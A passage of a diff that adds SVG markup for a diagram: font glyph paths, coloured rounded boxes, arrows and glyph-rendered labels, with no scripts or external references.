+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.742188 -14.195312 2.234375 -14.269531 2.765625 -14.3125 C 3.304688 -14.363281 3.800781 -14.390625 4.25 -14.390625 C 4.78125 -14.390625 5.28125 -14.320312 5.75 -14.1875 C 6.226562 -14.0625 6.640625 -13.847656 6.984375 -13.546875 C 7.335938 -13.242188 7.617188 -12.84375 7.828125 -12.34375 C 8.046875 -11.851562 8.15625 -11.234375 8.15625 -10.484375 C 8.15625 -9.359375 7.921875 -8.457031 7.453125 -7.78125 C 6.984375 -7.101562 6.363281 -6.648438 5.59375 -6.421875 L 6.359375 -5.671875 L 9.171875 0 L 7.40625 0 L 4.34375 -6.203125 L 2.828125 -6.5 L 2.828125 0 L 1.296875 0 Z M 2.828125 -7.515625 L 4.046875 -7.515625 C 4.816406 -7.515625 5.425781 -7.75 5.875 -8.21875 C 6.320312 -8.695312 6.546875 -9.425781 6.546875 -10.40625 C 6.546875 -11.15625 6.359375 -11.769531 5.984375 -12.25 C 5.609375 -12.738281 5.054688 -12.984375 4.328125 -12.984375 C 4.054688 -12.984375 3.773438 -12.972656 3.484375 -12.953125 C 3.191406 -12.929688 2.972656 -12.90625 2.828125 -12.875 Z M 2.828125 -7.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 6.765625 -3.984375 L 2.75 -3.984375 L 1.609375 0 L 0.109375 0 L 4.390625 -14.453125 L 5.21875 -14.453125 L 9.515625 0 L 7.921875 0 Z M 3.15625 -5.34375 L 6.40625 -5.34375 L 5.15625 -9.734375 L 4.78125 -11.875 L 4.734375 -11.875 L 4.34375 -9.703125 Z M 3.15625 -5.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.1875 C 6.40625 -7.132812 6.289062 -7.851562 6.0625 -8.34375 C 5.84375 -8.84375 5.398438 -9.09375 4.734375 -9.09375 C 4.265625 -9.09375 3.832031 -8.921875 3.4375 -8.578125 C 3.050781 -8.234375 2.789062 -7.804688 2.65625 -7.296875 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.203125 L 2.71875 -9.203125 C 2.988281 -9.554688 3.320312 -9.84375 3.71875 -10.0625 C 4.125 -10.289062 4.625 -10.40625 5.21875 -10.40625 C 5.664062 -10.40625 6.054688 -10.34375 6.390625 -10.21875 C 6.722656 -10.101562 7 -9.894531 7.21875 -9.59375 C 7.4375 -9.289062 7.597656 -8.890625 7.703125 -8.390625 C 7.804688 -7.898438 7.859375 -7.289062 7.859375 -6.5625 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -7.8125 L 7.296875 -7.8125 L 7.296875 -6.40625 L 2.828125 -6.40625 L 2.828125 0 L 1.296875 0 Z M 1.296875 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 3.71875 4.46875 C 3.207031 3.820312 2.773438 3.109375 2.421875 2.328125 C 2.078125 1.546875 1.796875 0.75 1.578125 -0.0625 C 1.367188 -0.882812 1.210938 -1.710938 1.109375 -2.546875 C 1.015625 -3.378906 0.96875 -4.175781 0.96875 -4.9375 C 0.96875 -5.6875 1.015625 -6.472656 1.109375 -7.296875 C 1.210938 -8.117188 1.367188 -8.945312 1.578125 -9.78125 C 1.796875 -10.613281 2.082031 -11.429688 2.4375 -12.234375 C 2.800781 -13.035156 3.242188 -13.78125 3.765625 -14.46875 L 4.671875 -13.921875 C 4.242188 -13.234375 3.882812 -12.507812 3.59375 -11.75 C 3.3125 -10.988281 3.082031 -10.21875 2.90625 -9.4375 C 2.738281 -8.664062 2.617188 -7.894531 2.546875 -7.125 C 2.472656 -6.351562 2.4375 -5.625 2.4375 -4.9375 C 2.4375 -4.289062 2.476562 -3.578125 2.5625 -2.796875 C 2.644531 -2.015625 2.773438 -1.226562 2.953125 -0.4375 C 3.140625 0.34375 3.375 1.101562 3.65625 1.84375 C 3.9375 2.59375 4.273438 3.265625 4.671875 3.859375 Z M 3.71875 4.46875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 0.96875 3.859375 C 1.363281 3.265625 1.703125 2.59375 1.984375 1.84375 C 2.273438 1.101562 2.507812 0.34375 2.6875 -0.4375 C 2.875 -1.226562 3.007812 -2.015625 3.09375 -2.796875 C 3.175781 -3.578125 3.21875 -4.289062 3.21875 -4.9375 C 3.21875 -5.625 3.175781 -6.351562 3.09375 -7.125 C 3.019531 -7.894531 2.898438 -8.664062 2.734375 -9.4375 C 2.566406 -10.21875 2.335938 -10.988281 2.046875 -11.75 C 1.753906 -12.507812 1.394531 -13.234375 0.96875 -13.921875 L 1.890625 -14.46875 C 2.398438 -13.78125 2.832031 -13.035156 3.1875 -12.234375 C 3.550781 -11.429688 3.84375 -10.613281 4.0625 -9.78125 C 4.28125 -8.945312 4.4375 -8.117188 4.53125 -7.296875 C 4.625 -6.472656 4.671875 -5.6875 4.671875 -4.9375 C 4.671875 -4.175781 4.625 -3.378906 4.53125 -2.546875 C 4.4375 -1.710938 4.28125 -0.882812 4.0625 -0.0625 C 3.84375 0.75 3.554688 1.546875 3.203125 2.328125 C 2.859375 3.109375 2.4375 3.820312 1.9375 4.46875 Z M 0.96875 3.859375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-23">
+<path style="stroke:none;" d="M 8.734375 -0.546875 C 8.398438 -0.265625 7.972656 -0.0625 7.453125 0.0625 C 6.941406 0.1875 6.398438 0.25 5.828125 0.25 C 5.109375 0.25 4.441406 0.113281 3.828125 -0.15625 C 3.222656 -0.425781 2.703125 -0.859375 2.265625 -1.453125 C 1.828125 -2.046875 1.484375 -2.804688 1.234375 -3.734375 C 0.992188 -4.671875 0.875 -5.796875 0.875 -7.109375 C 0.875 -8.460938 1.007812 -9.609375 1.28125 -10.546875 C 1.5625 -11.484375 1.929688 -12.242188 2.390625 -12.828125 C 2.859375 -13.410156 3.394531 -13.828125 4 -14.078125 C 4.601562 -14.335938 5.222656 -14.46875 5.859375 -14.46875 C 6.503906 -14.46875 7.039062 -14.421875 7.46875 -14.328125 C 7.894531 -14.234375 8.265625 -14.117188 8.578125 -13.984375 L 8.21875 -12.609375 C 7.945312 -12.753906 7.625 -12.867188 7.25 -12.953125 C 6.882812 -13.035156 6.46875 -13.078125 6 -13.078125 C 5.519531 -13.078125 5.070312 -12.96875 4.65625 -12.75 C 4.238281 -12.539062 3.863281 -12.203125 3.53125 -11.734375 C 3.207031 -11.265625 2.953125 -10.648438 2.765625 -9.890625 C 2.578125 -9.140625 2.484375 -8.210938 2.484375 -7.109375 C 2.484375 -5.128906 2.820312 -3.640625 3.5 -2.640625 C 4.175781 -1.648438 5.078125 -1.15625 6.203125 -1.15625 C 6.660156 -1.15625 7.070312 -1.21875 7.4375 -1.34375 C 7.800781 -1.476562 8.113281 -1.632812 8.375 -1.8125 Z M 8.734375 -0.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-24">
+<path style="stroke:none;" d="M 3.421875 -4.578125 L 2.65625 -4.578125 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -5.5625 L 3.328125 -5.859375 L 5.71875 -10.15625 L 7.40625 -10.15625 L 5 -6.0625 L 4.296875 -5.40625 L 5.125 -4.609375 L 7.75 0 L 5.96875 0 Z M 3.421875 -4.578125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-25">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-26">
+<path style="stroke:none;" d="M 7.609375 4.0625 L 6.140625 4.0625 L 6.140625 -0.828125 L 6.0625 -0.828125 C 5.84375 -0.492188 5.566406 -0.226562 5.234375 -0.03125 C 4.898438 0.15625 4.46875 0.25 3.9375 0.25 C 2.875 0.25 2.078125 -0.179688 1.546875 -1.046875 C 1.015625 -1.910156 0.75 -3.242188 0.75 -5.046875 C 0.75 -6.785156 1.09375 -8.101562 1.78125 -9 C 2.476562 -9.894531 3.484375 -10.34375 4.796875 -10.34375 C 5.367188 -10.34375 5.910156 -10.273438 6.421875 -10.140625 C 6.941406 -10.003906 7.335938 -9.863281 7.609375 -9.71875 Z M 6.140625 -8.6875 C 5.753906 -8.914062 5.21875 -9.03125 4.53125 -9.03125 C 3.820312 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.40625 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.957031 2.375 -3.46875 C 2.445312 -2.988281 2.5625 -2.566406 2.71875 -2.203125 C 2.875 -1.847656 3.078125 -1.570312 3.328125 -1.375 C 3.578125 -1.175781 3.882812 -1.078125 4.25 -1.078125 C 4.757812 -1.078125 5.164062 -1.222656 5.46875 -1.515625 C 5.769531 -1.816406 5.992188 -2.253906 6.140625 -2.828125 Z M 6.140625 -8.6875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-27">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-28">
+<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface5171">
+<rect x="0" y="0" width="1101" height="520" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 0 0 L 55 0 L 55 25.932422 L 0 25.932422 Z M 0 0 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 44.3 16.932422 C 44.134375 16.932422 44 17.066797 44 17.232422 L 44 19.817773 C 44 19.983398 44.134375 20.117773 44.3 20.117773 L 49.7 20.117773 C 49.865625 20.117773 50 19.983398 50 19.817773 L 50 17.232422 C 50 17.066797 49.865625 16.932422 49.7 16.932422 Z M 44.3 16.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="893.851562" y="379.490723"/>
+  <use xlink:href="#glyph0-2" x="901.390082" y="379.490723"/>
+  <use xlink:href="#glyph0-3" x="910.168294" y="379.490723"/>
+  <use xlink:href="#glyph0-4" x="918.946506" y="379.490723"/>
+  <use xlink:href="#glyph0-5" x="923.355957" y="379.490723"/>
+  <use xlink:href="#glyph0-6" x="932.276313" y="379.490723"/>
+  <use xlink:href="#glyph0-7" x="936.584039" y="379.490723"/>
+  <use xlink:href="#glyph0-8" x="943.451986" y="379.490723"/>
+  <use xlink:href="#glyph0-9" x="952.270888" y="379.490723"/>
+  <use xlink:href="#glyph0-9" x="959.15918" y="379.490723"/>
+  <use xlink:href="#glyph0-10" x="966.047472" y="379.490723"/>
+  <use xlink:href="#glyph0-7" x="974.439399" y="379.490723"/>
+  <use xlink:href="#glyph0-7" x="981.307346" y="379.490723"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.3 21.932422 C 15.134375 21.932422 15 22.066797 15 22.232422 L 15 24.817773 C 15 24.983398 15.134375 25.117773 15.3 25.117773 L 20.7 25.117773 C 20.865625 25.117773 21 24.983398 21 24.817773 L 21 22.232422 C 21 22.066797 20.865625 21.932422 20.7 21.932422 Z M 15.3 21.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="317.015625" y="479.490723"/>
+  <use xlink:href="#glyph0-2" x="324.554145" y="479.490723"/>
+  <use xlink:href="#glyph0-3" x="333.332357" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="342.110569" y="479.490723"/>
+  <use xlink:href="#glyph0-5" x="346.52002" y="479.490723"/>
+  <use xlink:href="#glyph0-6" x="355.440375" y="479.490723"/>
+  <use xlink:href="#glyph0-11" x="359.748101" y="479.490723"/>
+  <use xlink:href="#glyph0-12" x="364.970269" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="373.098253" y="479.490723"/>
+  <use xlink:href="#glyph0-13" x="377.507704" y="479.490723"/>
+  <use xlink:href="#glyph0-8" x="382.242133" y="479.490723"/>
+  <use xlink:href="#glyph0-14" x="391.061035" y="479.490723"/>
+  <use xlink:href="#glyph0-10" x="396.628526" y="479.490723"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 47.016406 20.167969 L 47.032227 21.733203 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 46.782227 21.735547 L 47.037305 22.233008 L 47.282227 21.730664 Z M 46.782227 21.735547 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.05 23.522852 L 43.5 23.505469 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 43.500195 23.755469 L 44 23.505078 L 43.499805 23.255469 Z M 43.500195 23.755469 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 45.05 22.332422 L 49.05 22.332422 C 49.602344 22.332422 50.05 22.857422 50.05 23.504883 C 50.05 24.152539 49.602344 24.677344 49.05 24.677344 L 45.05 24.677344 C 44.497656 24.677344 44.05 24.152539 44.05 23.504883 C 44.05 22.857422 44.497656 22.332422 45.05 22.332422 Z M 45.05 22.332422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-15" x="908.992188" y="479.088379"/>
+  <use xlink:href="#glyph0-10" x="917.952962" y="479.088379"/>
+  <use xlink:href="#glyph0-7" x="926.344889" y="479.088379"/>
+  <use xlink:href="#glyph0-16" x="933.212836" y="479.088379"/>
+  <use xlink:href="#glyph0-2" x="942.051812" y="479.088379"/>
+  <use xlink:href="#glyph0-5" x="950.830024" y="479.088379"/>
+  <use xlink:href="#glyph0-7" x="959.75038" y="479.088379"/>
+  <use xlink:href="#glyph0-10" x="966.618327" y="479.088379"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(92.54902%,74.509805%,75.294119%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 2.3 21.932422 C 2.134375 21.932422 2 22.066797 2 22.232422 L 2 24.817773 C 2 24.983398 2.134375 25.117773 2.3 25.117773 L 11.7 25.117773 C 11.865625 25.117773 12 24.983398 12 24.817773 L 12 22.232422 C 12 22.066797 11.865625 21.932422 11.7 21.932422 Z M 2.3 21.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-2" x="51.546875" y="479.490723"/>
+  <use xlink:href="#glyph0-5" x="60.325087" y="479.490723"/>
+  <use xlink:href="#glyph0-17" x="69.245443" y="479.490723"/>
+  <use xlink:href="#glyph0-8" x="78.856717" y="479.490723"/>
+  <use xlink:href="#glyph0-18" x="87.675618" y="479.490723"/>
+  <use xlink:href="#glyph0-19" x="93.263455" y="479.490723"/>
+  <use xlink:href="#glyph0-10" x="102.204156" y="479.490723"/>
+  <use xlink:href="#glyph0-5" x="110.596083" y="479.490723"/>
+  <use xlink:href="#glyph0-18" x="119.516439" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="125.104275" y="479.490723"/>
+  <use xlink:href="#glyph0-9" x="129.513726" y="479.490723"/>
+  <use xlink:href="#glyph0-12" x="136.747613" y="479.490723"/>
+  <use xlink:href="#glyph0-18" x="144.875597" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="150.463433" y="479.490723"/>
+  <use xlink:href="#glyph0-2" x="154.872884" y="479.490723"/>
+  <use xlink:href="#glyph0-5" x="163.651096" y="479.490723"/>
+  <use xlink:href="#glyph0-20" x="172.571452" y="479.490723"/>
+  <use xlink:href="#glyph0-12" x="180.963379" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="189.091363" y="479.490723"/>
+  <use xlink:href="#glyph0-13" x="193.500814" y="479.490723"/>
+  <use xlink:href="#glyph0-8" x="198.235243" y="479.490723"/>
+  <use xlink:href="#glyph0-14" x="207.054145" y="479.490723"/>
+  <use xlink:href="#glyph0-10" x="212.621636" y="479.490723"/>
+  <use xlink:href="#glyph0-21" x="221.013563" y="479.490723"/>
+  <use xlink:href="#glyph0-22" x="225.747993" y="479.490723"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 7 14.932422 L 7 21.382422 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.75 21.382422 L 7 21.882422 L 7.25 21.382422 Z M 6.75 21.382422 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 1 3.932422 L 54 3.932422 L 54 14.932422 L 1 14.932422 Z M 1 3.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3.3 4.932422 C 3.134375 4.932422 3 5.066797 3 5.232422 L 3 7.817773 C 3 7.983398 3.134375 8.117773 3.3 8.117773 L 10.752539 8.117773 C 10.918164 8.117773 11.052539 7.983398 11.052539 7.817773 L 11.052539 5.232422 C 11.052539 5.066797 10.918164 4.932422 10.752539 4.932422 Z M 3.3 4.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-12" x="92.8125" y="139.490723"/>
+  <use xlink:href="#glyph0-8" x="100.940484" y="139.490723"/>
+  <use xlink:href="#glyph0-18" x="109.759386" y="139.490723"/>
+  <use xlink:href="#glyph0-19" x="115.347222" y="139.490723"/>
+  <use xlink:href="#glyph0-10" x="124.287923" y="139.490723"/>
+  <use xlink:href="#glyph0-5" x="132.67985" y="139.490723"/>
+  <use xlink:href="#glyph0-18" x="141.600206" y="139.490723"/>
+  <use xlink:href="#glyph0-4" x="147.188043" y="139.490723"/>
+  <use xlink:href="#glyph0-9" x="151.597493" y="139.490723"/>
+  <use xlink:href="#glyph0-12" x="158.83138" y="139.490723"/>
+  <use xlink:href="#glyph0-18" x="166.959364" y="139.490723"/>
+  <use xlink:href="#glyph0-10" x="172.38444" y="139.490723"/>
+  <use xlink:href="#glyph0-21" x="180.776367" y="139.490723"/>
+  <use xlink:href="#glyph0-22" x="185.510796" y="139.490723"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4.3 10.932422 C 4.134375 10.932422 4 11.066797 4 11.232422 L 4 13.817773 C 4 13.983398 4.134375 14.117773 4.3 14.117773 L 9.7 14.117773 C 9.865625 14.117773 10 13.983398 10 13.817773 L 10 11.232422 C 10 11.066797 9.865625 10.932422 9.7 10.932422 Z M 4.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-23" x="88.324219" y="259.490723"/>
+  <use xlink:href="#glyph0-19" x="97.630588" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="106.571289" y="259.490723"/>
+  <use xlink:href="#glyph0-9" x="114.800456" y="259.490723"/>
+  <use xlink:href="#glyph0-24" x="122.034342" y="259.490723"/>
+  <use xlink:href="#glyph0-6" x="129.430718" y="259.490723"/>
+  <use xlink:href="#glyph0-16" x="133.738444" y="259.490723"/>
+  <use xlink:href="#glyph0-12" x="142.57742" y="259.490723"/>
+  <use xlink:href="#glyph0-7" x="150.705404" y="259.490723"/>
+  <use xlink:href="#glyph0-7" x="157.573351" y="259.490723"/>
